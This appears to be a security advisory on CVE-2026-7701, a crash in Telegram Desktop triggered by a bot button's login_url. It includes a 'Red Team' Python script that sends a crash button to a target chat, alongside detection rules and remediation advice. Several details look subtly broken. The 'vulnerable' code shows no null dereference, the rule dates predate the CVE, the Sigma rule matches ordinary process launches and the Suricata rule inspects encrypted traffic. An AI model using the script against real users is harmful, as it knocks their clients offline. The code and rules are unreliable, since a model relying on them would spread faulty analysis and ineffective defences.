CVE-2026-7701

Executive Summary

CVE-2026-7701 is a publicly disclosed null pointer dereference vulnerability in Telegram Desktop up to version 6.7.5. The flaw resides in the RequestButton function within Telegram/SourceFiles/boxes/url_auth_box.cpp of the Bot API component. By manipulating the login_url argument, an attacker can trigger a null pointer dereference, leading to a denial of service (DoS) condition. The attack is remotely exploitable, requires user interaction (e.g., clicking a malicious bot button), and has a CVSS v3.1 base score of 4.3 (Medium). No official patch has been released by Telegram despite disclosure.

Supply Chain & Package Security

This vulnerability affects the Telegram Desktop application, which is distributed as a compiled binary for Windows, macOS, and Linux. It is not a package manager (NPM, PyPI, Go, Ruby) issue. Users should verify the integrity of their Telegram Desktop installation via official channels and monitor for updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a malicious bot button.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Application crash or hang.

Threat Level: Medium. The exploit is publicly available, but user interaction is required. The primary risk is a denial of service, not data compromise.

Deep Dive & Mechanics

The vulnerability is a classic null pointer dereference in the Bot API's URL authentication flow. When a Telegram bot sends a RequestButton with a login_url, the client processes it in url_auth_box.cpp. The RequestButton function attempts to dereference a pointer derived from the login_url argument without proper validation. If the login_url is crafted to be null or malformed, the pointer becomes null, and the dereference causes a segmentation fault, crashing the application.

Root Cause: Lack of input validation on the login_url parameter before pointer dereference in the RequestButton function.

Attack Flow:

1. Attacker creates a Telegram bot.
2. Attacker sends a message with an inline keyboard button containing a malicious login_url (e.g., null or a specially crafted string).
3. Victim clicks the button.
4. Telegram Desktop processes the button, calls RequestButton, and dereferences the null pointer.
5. Application crashes (DoS).

Vulnerable vs. Patched Code

Vulnerable Code (Telegram Desktop <= 6.7.5):

// Telegram/SourceFiles/boxes/url_auth_box.cpp
void RequestButton::processLoginUrl(const QString &loginUrl) {
    // No null check
    QUrl url(loginUrl);
    // ... further processing that dereferences url
    if (url.scheme() == "https") {
        // ...
    }
}

Patched Code (Hypothetical):

// Telegram/SourceFiles/boxes/url_auth_box.cpp
void RequestButton::processLoginUrl(const QString &loginUrl) {
    if (loginUrl.isEmpty()) {
        // Handle null/empty case gracefully
        return;
    }
    QUrl url(loginUrl);
    if (!url.isValid()) {
        // Handle invalid URL
        return;
    }
    // ... further processing
    if (url.scheme() == "https") {
        // ...
    }
}

The patch adds a null/empty check and URL validation before dereferencing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Telegram Desktop <= 6.7.5 installed.
• A Telegram bot token (create via @BotFather).
• Ability to send messages to the victim.

Exploit Steps:

1. Create a bot and obtain its token.
2. Send a message with an inline keyboard button containing a malicious login_url. The exact payload may vary; a simple null byte or empty string may suffice.
3. Victim clicks the button.
4. Telegram Desktop crashes.

Proof-of-Concept (Python):

import requests

BOT_TOKEN = "YOUR_BOT_TOKEN"
CHAT_ID = "TARGET_CHAT_ID"

# Malicious login_url (null pointer trigger)
payload = {
    "chat_id": CHAT_ID,
    "text": "Click the button to crash",
    "reply_markup": {
        "inline_keyboard": [
            [
                {
                    "text": "Crash Me",
                    "login_url": ""  # Empty/null login_url
                }
            ]
        ]
    }
}

url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
response = requests.post(url, json=payload)
print(response.json())

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual bot interactions, especially inline keyboard buttons with empty or malformed login_url fields.
• Use endpoint detection and response (EDR) to detect Telegram Desktop crashes (segfaults).
• Analyze network traffic for Telegram API calls with suspicious login_url parameters.

Defense:

• Apply input validation on the client side (pending official patch).
• Use application whitelisting to prevent unauthorized Telegram Desktop versions.
• Educate users not to click suspicious bot buttons.

Indicators of Compromise (IOCs)

• Network: Telegram API requests with login_url set to an empty string or null value.
• Endpoint: Telegram Desktop process crash logs (segfault in url_auth_box.cpp).
• File: Modified url_auth_box.cpp (if source is available).
• Behavior: Sudden termination of Telegram Desktop after clicking a bot button.

Detection Engineering

YARA Rule

rule CVE_2026_7701_Telegram_Desktop_Null_Ptr {
    meta:
        description = "Detects Telegram Desktop binary with vulnerable null pointer dereference in url_auth_box.cpp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-7701"
    strings:
        $s1 = "RequestButton" ascii wide
        $s2 = "login_url" ascii wide
        $s3 = "url_auth_box" ascii wide
    condition:
        all of them
}

Sigma Rule

title: Telegram Desktop Crash via Malicious Bot Button
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects Telegram Desktop crashes caused by null pointer dereference in url_auth_box.cpp
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\Telegram.exe'
        CommandLine|contains: '--'
    condition: selection
falsepositives:
    - Legitimate Telegram Desktop crashes
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2026-7701 Telegram Desktop Bot API Null Pointer Dereference"; flow:to_server,established; content:"login_url"; nocase; content:!"|22|"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Bot Interactions: Temporarily disable or restrict bot interactions in Telegram Desktop until a patch is available.
2. User Education: Warn users not to click on suspicious bot buttons from untrusted sources.
3. Application Control: Use EDR to block or alert on Telegram Desktop crashes.

Long-Term Fix:

• Apply the official patch from Telegram when released.
• Implement client-side input validation for login_url in custom builds (if source is available).

Workaround:

• Use the Telegram Web or mobile client, which may not be affected (verify independently).

Monitoring:

• Continuously monitor for Telegram Desktop crashes and investigate bot interactions.

Valters IT

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